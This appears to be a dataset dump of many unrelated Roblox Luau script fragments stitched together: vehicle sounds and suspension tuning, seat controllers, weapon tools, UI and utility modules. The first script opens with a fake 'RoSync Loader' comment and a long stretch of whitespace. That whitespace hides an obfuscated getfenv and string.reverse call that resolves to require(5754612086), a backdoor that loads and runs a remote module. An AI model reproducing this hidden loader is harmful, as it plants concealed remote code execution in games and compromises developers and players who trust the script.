Roblox/luau_corpus huggingface dataset:
--[[ Last synced 7/3/2022 08:16 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--[[
		___      _______                _     
	   / _ |____/ ___/ /  ___ ____ ___ (_)__ 
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt=0
local redline=0

script:WaitForChild("Rev")


for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end

handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")

while wait() do
	local _RPM = script.Parent.Values.RPM.Value
	
	if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
		throt = math.max(.3,throt-.2)	
	else
		throt = math.min(1,throt+.1)	
	end	
	if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
		redline=.5
	else
		redline=1
	end
	if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
	local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)
	if FE then
		handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,script.Rev.Volume)
	else
		car.DriveSeat.Rev.Pitch = Pitch
	end
end
--[[Rear]]--
Tune.RSusDamping	= 50 		-- Dampening
Tune.RSusStiffness	= 1000000		-- Stiffness

Tune.RSusLength		= 0 		-- Suspension length (in studs)
Tune.RPreComp		= 0 		-- Vehicle height, relative to your suspension settings
Tune.RExtLimit		= 0		-- Max Extension Travel (in studs)
Tune.RCompLimit		= 0 		-- Max Compression Travel (in studs)

Tune.RBaseOffset	= {				-- Suspension base point
	--[[Lateral]]		0		,	-- positive = outward
	--[[Vertical]]		-0.1		,	-- positive = upward
	--[[Forward]]		0		}	-- positive = forward

Tune.RBricksVisible	= false 	-- Makes the front suspension bricks visible (Debug)
Tune.RConstsVisible	= false 	-- Makes the front suspension constraints visible (Debug)
--------------MADE BY Radioaktiivinen
--------------Should be configurable with some crappy configuration tool of roblox >_>
local seat=script.Parent
local data=seat.Configuration
local owner=nil
local running=false
local x=0
local y=0

seat.ChildAdded:connect(
function(w)
if w.className=="Weld" and w.Name=="SeatWeld" then
local char=w.Part1.Parent
local player=game.Players:FindFirstChild(char.Name)
if player~=nil then
owner=player
seat.ChildRemoved:connect(
function(w2)
if w2==w then
owner=nil
end
end
)
seat.BodyVelocity.maxForce=Vector3.new(1,1,1)*data.MaxForce.Value
seat.BodyGyro.maxTorque=Vector3.new(1,1,1)*50000
local spd=0
local gui=seat.ScreenGui:clone()
gui.Parent=player.PlayerGui
gui.Frame.Faster.MouseButton1Click:connect(
function()
spd=math.min(spd+data.MaxSpeed.Value/20,data.MaxSpeed.Value)
gui.Frame.Speed.Text=math.floor(spd)
end
)
gui.Frame.Slower.MouseButton1Click:connect(
function()
spd=math.max(spd-data.MaxSpeed.Value/20,0)
gui.Frame.Speed.Text=math.floor(spd)
end
)
while owner==player do
seat.BodyVelocity.velocity=seat.CFrame.lookVector*spd
wait()
end
gui:remove()
seat.BodyVelocity.velocity=Vector3.new(0,0,0)
seat.BodyVelocity.maxForce=Vector3.new(0,0,0)
seat.BodyGyro.maxTorque=Vector3.new(0,0,0)
end
end
end
)

seat.Changed:connect(
function()
if not running then
local cur=seat.Steer
local cur2=seat.Throttle
running=true
while (cur~=0 or cur2~=0) do
y=y-seat.Steer*data.TurnSpeed.Value
x=x-seat.Throttle*data.TurnSpeed.Value
seat.BodyGyro.cframe=CFrame.new(0,0,0)*CFrame.Angles(0,math.rad(y),0)*CFrame.Angles(math.rad(x),0,0)
wait()
end
running=false
end
end
)
--Function For Making New Ray Bricks
function makeRay(cframe, size)
	local p						= Instance.new("Part")
	p.Name						= "RayPart"
	p.BrickColor				= BrickColor.new("New Yeller")
	p.Material                  = "Neon"
	p.Transparency				= 0.5
	p.Anchored					= true
	p.CanCollide				= false
	p.TopSurface				= Enum.SurfaceType.Smooth
	p.BottomSurface				= Enum.SurfaceType.Smooth
	p.formFactor				= Enum.FormFactor.Custom
	p.CFrame					= cframe
	p.Size						= size
	p.Parent					= m
	ignoreList[#ignoreList+1]	= p
end



round					= Instance.new("Part")
round.Name				= "RayPart"
round.Material          = "Neon"
round.Transparency		= 0.5
round.Anchored			= true
round.CanCollide		= false
round.TopSurface		= Enum.SurfaceType.Smooth
round.BottomSurface		= Enum.SurfaceType.Smooth
round.formFactor		= Enum.FormFactor.Custom
round.BrickColor		= BrickColor.new("New Yeller")
yOffset					= -0.2
-- ROBLOX deviation: used to communicate with the TestEZ test runner
local JEST_TEST_CONTEXT = "__JEST_TEST_CONTEXT__"

local function getCoreScriptSyncService()
	local success, result = pcall(function()
		return game:GetService("CoreScriptSyncService")
	end)

	return success and result or nil
end
local CoreScriptSyncService = nil

local LuauPolyfill = require(Packages.LuauPolyfill)
local Array = LuauPolyfill.Array
local Error = LuauPolyfill.Error
type Error = LuauPolyfill.Error
local Object = LuauPolyfill.Object
local Set = LuauPolyfill.Set
-- Unequip logic here
function OnUnequipped()
	LeftButtonDown = false
	Reloading = false
	MyCharacter = nil
	MyHumanoid = nil
	MyTorso = nil
	MyPlayer = nil
	MyMouse = nil
	if OnFireConnection then
		OnFireConnection:disconnect()
	end
	if OnReloadConnection then
		OnReloadConnection:disconnect()
	end
	if FlashHolder then
		FlashHolder = nil
	end
	if WeaponGui then
		WeaponGui.Parent = nil
		WeaponGui = nil
	end
	if RecoilTrack then
		RecoilTrack:Stop()
	end
end

local function SetReticleColor(color)
	if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
		for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
			if line:IsA('Frame') then
				line.BorderColor3 = color
			end
		end
	end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
	wait(0.033)
	if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and MyMouse then
		WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
		SetReticleColor(NeutralReticleColor)

		local target = MyMouse.Target
		if target and target.Parent then
			local player = PlayersService:GetPlayerFromCharacter(target.Parent)
			if player then
				if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
					SetReticleColor(EnemyReticleColor)
				else
					SetReticleColor(FriendlyReticleColor)
				end
			end
		end
	end
	if Spread and not IsShooting then
		local currTime = time()
		if currTime - LastSpreadUpdate > FireRate * 2 then
			LastSpreadUpdate = currTime
			Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
			UpdateCrosshair(Spread, MyMouse)
		end
	end
end
--[[ Local Functions ]]--
local function onShiftLockToggled()
	IsShiftLocked = not IsShiftLocked
	if IsShiftLocked then
		ShiftLockIcon.Image = SHIFT_LOCK_ON
		Mouse.Icon = SHIFT_LOCK_CURSOR
	else
		ShiftLockIcon.Image = SHIFT_LOCK_OFF
		Mouse.Icon = ""
	end
	ShiftLockController.OnShiftLockToggled:Fire()
end

local function initialize()
	if ScreenGui then
		ScreenGui:Destroy()
		ScreenGui = nil
	end
	ScreenGui = Instance.new('ScreenGui')
	ScreenGui.Name = "ControlGui"
	
	local frame = Instance.new('Frame')
	frame.Name = "BottomLeftControl"
	frame.Size = UDim2.new(0, 130, 0, 46)
	frame.Position = UDim2.new(0, 0, 1, -46)
	frame.BackgroundTransparency = 1
	frame.Parent = ScreenGui
	
	ShiftLockIcon = Instance.new('ImageButton')
	ShiftLockIcon.Name = "MouseLockLabel"
	ShiftLockIcon.Size = UDim2.new(0, 31, 0, 31)
	ShiftLockIcon.Position = UDim2.new(0, 12, 0, 2)
	ShiftLockIcon.BackgroundTransparency = 1
	ShiftLockIcon.Image = IsShiftLocked and SHIFT_LOCK_ON or SHIFT_LOCK_OFF
	ShiftLockIcon.Visible = IsShiftLockMode
	ShiftLockIcon.Parent = frame
	
	ShiftLockIcon.MouseButton1Click:connect(onShiftLockToggled)
	
	ScreenGui.Parent = PlayerGui
end
--[=[
	@param tbl table
	@param name string
	@param inboundMiddleware ServerMiddleware?
	@param outboundMiddleware ServerMiddleware?
	@return RemoteFunction

	Binds a function to a table method. The name must match the
	name of the method in the table. The same name will be used
	on the client to access the given function.

	```lua
	local MyObject = {
		_Data = 10,
	}

	function MyObject:GetData(player: Player)
		return self._Data
	end

	serverComm:WrapMethod(MyObject, "GetData")
	```
]=]
function ServerComm:WrapMethod(tbl: {}, name: string, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware?): RemoteFunction
	return Comm.WrapMethod(self._instancesFolder, tbl, name, inboundMiddleware, outboundMiddleware)
end
--print("Shot")

parts = script.Parent;
ignoreList = {script.Parent}
dealingDamage = 160

makeRays = false
-- int rd_int_basic(string src, int s, int e, int d)
-- @src - Source binary string
-- @s - Start index of a little endian integer
-- @e - End index of the integer
-- @d - Direction of the loop
local function rd_int_basic(src, s, e, d)
	local num = 0

	-- if bb[l] > 127 then -- signed negative
	-- 	num = num - 256 ^ l
	-- 	bb[l] = bb[l] - 128
	-- end

	for i = s, e, d do num = num + src:byte(i, i) * 256 ^ (i - s) end

	return num
end
--//Declarations
Camera 	= game.Workspace.CurrentCamera
Last 	= Camera.CFrame.lookVector
Blur 	= Instance.new("BlurEffect",Camera)
-- emote bindable hook
if FFlagAnimateScriptEmoteHook then
	script:WaitForChild("PlayEmote").OnInvoke = function(emote)
		-- Only play emotes when idling
		if pose ~= "Standing" then
			return
		end
	
		if emoteNames[emote] ~= nil then
			-- Default emotes
			playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
			
			if userPlayEmoteByIdAnimTrackReturn then
				return true, currentAnimTrack
			else
				return true
			end
		elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
			-- Non-default emotes
			playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)

			if userPlayEmoteByIdAnimTrackReturn then
				return true, currentAnimTrack
			else
				return true
			end
		end
		
		-- Return false to indicate that the emote could not be played
		return false
	end
end
-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor	= Color3.new(1, 0, 0)
local NeutralReticleColor	= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Camera = workspace.CurrentCamera

local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local WeaponGui = nil
-- Sound
CEs.PlaySound.OnClientEvent:connect(function(Sound,Rchr)
	if not Sound then return end
	if not Rchr then
		if Sound:IsDescendantOf(plr.Character) then return end
	else
		if plr.Character == Rchr then return end
	end
	
	local newSound = Instance.new("Sound", Sound.Parent)
	newSound.SoundId = Sound.SoundId
	newSound.PlaybackSpeed = Sound.PlaybackSpeed
	newSound.Volume = Sound.Volume
	newSound.Name = Sound.Name.."Playing"
	newSound:Play()
	game:GetService("Debris"):AddItem(newSound, Sound.TimeLength)
end)

CEs.StopSound.OnClientEvent:connect(function(Sound,Rchr)
	if not Sound then return end
	if not Rchr then
		if Sound:IsDescendantOf(plr.Character) then return end
	else
		if plr.Character == Rchr then return end
	end
	local newSound = Sound.Parent:FindFirstChild(Sound.Name.."Playing")
	if newSound then newSound:Destroy() end
end)
--[[**
	<description>
	Takes a function to be called before :Save(). This function must return a value that will be saved in the data store. Used for serializing.
	</description>

	<parameter name = "modifier">
	The modifier function.
	</parameter>
**--]]
function DataStore:BeforeSave(modifier)
	self.beforeSave = modifier
end
-- Special Effects
local EffectsFolder = ReplicatedStorage:WaitForChild("Effects")
local Explosion = EffectsFolder:WaitForChild("Explode")
-- Teleport error logging
function Lobby._onTeleportFailure(player, status, message)
	Log.Error.Lobby("Teleport Failed: %s (%s)", player.UserId, message)

	-- Send error back to the server
	local data = {
		type = "FAILURE",
		status = status,
		message = message,
	}
	self.joinEvent:FireServer(data)
end

TeleportService.TeleportInitFailed:Connect(Lobby._onTeleportFailure)
--[[
class Spring

Description:
	A physical model of a spring, useful in many applications. Properties only evaluate
	upon index making this model good for lazy applications

API:
	Spring = Spring.new(number position)
		Creates a new spring in 1D
	Spring = Spring.new(Vector3 position)
		Creates a new spring in 3D

	Spring.Position
		Returns the current position
	Spring.Velocity
		Returns the current velocity
	Spring.Target
		Returns the target
	Spring.Damper
		Returns the damper
	Spring.Speed
		Returns the speed

	Spring.Target = number/Vector3
		Sets the target
	Spring.Position = number/Vector3
		Sets the position
	Spring.Velocity = number/Vector3
		Sets the velocity
	Spring.Damper = number [0, 1]
		Sets the spring damper, defaults to 1
	Spring.Speed = number [0, infinity)
		Sets the spring speed, defaults to 1

	Spring:TimeSkip(number DeltaTime)
		Instantly skips the spring forwards by that amount of now
	Spring:Impulse(number/Vector3 velocity)
		Impulses the spring, increasing velocity by the amount given

Visualization (by Defaultio):
	https://www.desmos.com/calculator/hn2i9shxbz
]]


local Spring = {}
--Explosion Effects, yes its just a particle effect xD--
local explosionvault1 = script.Parent.DepositBoxDoor1.ExplosionEffect1
--Weld stuff here

misc:WaitForChild("Spoiler")
MakeWeld(car.DriveSeat,misc.Spoiler:WaitForChild("A1")).Name="W"
MakeWeld(misc.Spoiler.A1,misc.Spoiler:WaitForChild("A2"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.A2,misc.Spoiler:WaitForChild("A3"),"Motor",.02).Name="W"
MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A4"),"Motor",.01).Name="P"
MakeWeld(misc.Spoiler.A4,misc.Spoiler:WaitForChild("Sp"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.Sp,misc.Spoiler:WaitForChild("B1"))
MakeWeld(misc.Spoiler.B1,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B2,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B3,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B4,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B5,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B6,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B7,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.RFL,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"

car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
	end
end)
-- Please don't edit this script

L1 = script.Parent.LED1.Scripts.on
L2 = script.Parent.LED2.Scripts.on
L3 = script.Parent.LED3.Scripts.on
L4 = script.Parent.LED4.Scripts.on
L5 = script.Parent.LED5.Scripts.on

R1 = script.Parent.Parent.Relays.Relay1
R2 = script.Parent.Parent.Relays.Relay2
R3 = script.Parent.Parent.Relays.Relay3
R4 = script.Parent.Parent.Relays.Relay4
R5 = script.Parent.Parent.Relays.Relay5

repeat task.wait()
	L1.Value = R1.RelayOn.Value
	L2.Value = R2.RelayOn.Value
	L3.Value = R3.RelayOn.Value
	L4.Value = R4.RelayOn.Value
	L5.Value = R5.RelayOn.Value
until script.Enabled == false
--[=[
	Extracts the locale from the name
	@param localeId string -- the defaultlocaleId
	@param dataTable table -- Data table to load from
	@return LocalizationTable
]=]
function JsonToLocalizationTable.loadTable(localeId, dataTable)
	local localizationTable = JsonToLocalizationTable.getOrCreateLocalizationTable()

	recurseAdd(localizationTable, localeId, "", dataTable)

	return localizationTable
end
--- Impulse the spring with a change in velocity
-- @param velocity The velocity to impulse with
function Spring:Impulse(velocity)
	self.Velocity = self.Velocity + velocity
end
--Variables
local SeatInteractionCount = {}

local VehicleSeating = {}

local function getVehicleObject()
	return script.Parent.Parent
end

local function carjackingEnabled(obj)
	return obj:GetAttribute("AllowCarjacking")
end

local function getEffectsFolderFromSeat(seat)
	local parent = seat.Parent
	if parent:IsA("Model") then
		if parent:FindFirstChild("Effects") then
			return parent.Effects
		else
			return getEffectsFolderFromSeat(parent)
		end
	end
	return nil
end

local function playDoorSound(seat, sound)
	local sound = seat:FindFirstChild(sound.."Door")
	if sound then
		sound:Play()
	end
end
--//sw
local sw = Instance.new("Motor", script.Parent.Parent.Misc.SW.SS)
sw.MaxVelocity = 0.167
sw.Part0 = script.Parent.SW
sw.Part1 = sw.Parent
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 20 -- cooldown for use of the tool again

ZoneModelName = "Big star" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--		Humanoid:UnequipTools()
--		if tool then
--			Humanoid:EquipTool(tool)
--		end
		for i,v in pairs(Char:GetChildren()) do
			if v:IsA('Tool') then
				v.Parent = Backpack
			end
		end
		if tool then
			tool.Parent = Char
			tool.Unequipped:connect(function()
				wait()
				EquippedVal.Value = getSlotFromTool(Char:FindFirstChildOfClass('Tool'))
				--EquippedVal.Value = nil
			end)
		end
		
		if tool == nil then
			EquippedVal.Value = nil
		end
	end
	
	-- Takes Enum.KeyCode and gets string at end
	local function getKeyCodeName(keycode)
		keycode = tostring(keycode)
		local splitStrings = string.split(keycode,'.')
		return splitStrings[#splitStrings]
	end
	
	-- Equips whatever the Equipped Obj's value is
	EquippedVal.Changed:Connect(function()
		local equipSlot = EquippedVal.Value
		if equipSlot then
			equip(equipSlot.Value)
		else
			equip(nil)
		end
	end)
	
	-- ensure equipped items replicate when changed
	for i,v in pairs(SlotsFolder:GetChildren()) do
		v.Changed:connect(function()
			if EquippedVal.Value == v then
				wait() -- required to prevent slot duping
				equip(v.Value)
			end
		end)
	end
	
	-- Checks keyboard input
	UserInputService.InputBegan:Connect(function(input, gameProcessed)
		if not gameProcessed then -- Ensures user is not typing in TextBox
			-- Ensures user is using keybooard
			if input.UserInputType == Enum.UserInputType.Keyboard then
				-- Get the KeyCode and KeyCode's ending/name
				local keyPressed = input.KeyCode
				keyPressed = getKeyCodeName(keyPressed)
				-- Checks if there is a slot w/ the pressed key's name
				local slotRequested = SlotsFolder:FindFirstChild(keyPressed)
				if slotRequested then -- if there is such a slot
					-- if they're requesting the same slot
					if EquippedVal.Value == slotRequested then 
						EquippedVal.Value = nil -- unequip the tool
					else
						EquippedVal.Value = slotRequested -- equip the tool
					end
				end
			end
		end
	end)
	
	return EquippedVal
end
--// No-opt connect Server>Client RemoteEvents to ensure they cannot be called
--// to fill the remote event queue.
local function emptyFunction()
	--intentially empty
end

local function GetObjectWithNameAndType(parentObject, objectName, objectType)
	for i, child in pairs(parentObject:GetChildren()) do
		if (child:IsA(objectType) and child.Name == objectName) then
			return child
		end
	end

	return nil
end

local function CreateIfDoesntExist(parentObject, objectName, objectType)
	local obj = GetObjectWithNameAndType(parentObject, objectName, objectType)
	if (not obj) then
		obj = Instance.new(objectType)
		obj.Name = objectName
		obj.Parent = parentObject
	end
	useEvents[objectName] = obj

	return obj
end
--Suspension Placement--

local SFL = FL:Clone()
SFL.Name = "FL"
SFL.CanCollide = false
SFL.Parent = script.Parent.Parent
SFL.CFrame = SFL.CFrame + (Vector3.new(SFL.Size.X,SFL.Size.X,SFL.Size.X) * SFL.CFrame.upVector)
SFL.Attachment.Rotation = Vector3.new(0,0,90)

local SFR = FR:Clone()
SFR.Name = "FR"
SFR.CanCollide = false
SFR.Parent = script.Parent.Parent
SFR.CFrame = SFR.CFrame + (Vector3.new(SFL.Size.X,SFL.Size.X,SFL.Size.X) * SFR.CFrame.upVector)
SFR.Attachment.Rotation = Vector3.new(0,0,90)

local SRL = RL:Clone()
SRL.Name = "RL"
SRL.CanCollide = false
SRL.Parent = script.Parent.Parent
SRL.CFrame = SRL.CFrame + (Vector3.new(SFL.Size.X,SFL.Size.X,SFL.Size.X) * SRL.CFrame.upVector)
SRL.Attachment.Rotation = Vector3.new(0,0,90)

local SRR = RR:Clone()
SRR.Name = "RR"
SRR.CanCollide = false
SRR.Parent = script.Parent.Parent
SRR.CFrame = SRR.CFrame + (Vector3.new(SFL.Size.X,SFL.Size.X,SFL.Size.X) * SRR.CFrame.upVector)
SRR.Attachment.Rotation = Vector3.new(0,0,90)